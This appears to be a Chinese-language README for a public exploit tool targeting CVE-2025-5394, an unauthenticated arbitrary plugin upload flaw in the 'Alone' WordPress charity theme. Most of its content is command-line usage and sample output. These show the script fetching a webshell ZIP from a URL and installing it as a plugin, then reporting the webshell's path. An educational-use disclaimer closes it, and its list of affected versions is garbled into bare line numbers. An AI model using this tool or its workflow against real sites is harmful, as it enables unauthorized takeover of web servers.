🚨 CVE-2025-5394 - Alone主题未认证任意插件上传漏洞
📌 受影响产品：
Alone – Charity Multipurpose Non-profit WordPress主题
受影响版本：
1
2
3
4
5
6
7
|
---
## 🚀 使用示例：
```bash
python3 CVE-2025-5394.py -help
|
1
2
3
4
5
6
7
8
|
用法: te.py [-h] -u URL -s SHELL
CVE-2025-5394漏洞利用 | 作者：Khaled Alenazi (Nxploited)
选项:
-h, --help 显示帮助信息
-u, --url URL 目标WordPress站点URL
-s, --shell SHELL 包含Webshell的ZIP文件URL (.zip)
|
✅ 成功输出：
1
2
3
4
5
6
7
|
python3 te.py -u http://target.com/wordpress/ -s http://target.com/shell_plugin.zip
[>] 目标 : http://target.com/wordpress
[>] Shell URL : http://target.com/shell.php
[>] 插件Slug : shell_plugin
[>] 发送漏洞利用...
[+] 漏洞利用成功
[+] Webshell URL : http://target.com/wordpress/wp-content/plugins/shell_plugin/shell_plugin.php
|
⚠️ 免责声明：
本脚本仅用于教育和研究目的。
作者不对使用此代码进行的任何滥用或非法活动负责。
仅限在您拥有或获得明确测试权限的系统上使用。
👨💻 作者：
Nxploited ( Khaled Alenazi )
GitHub: https://github.com/Nxploited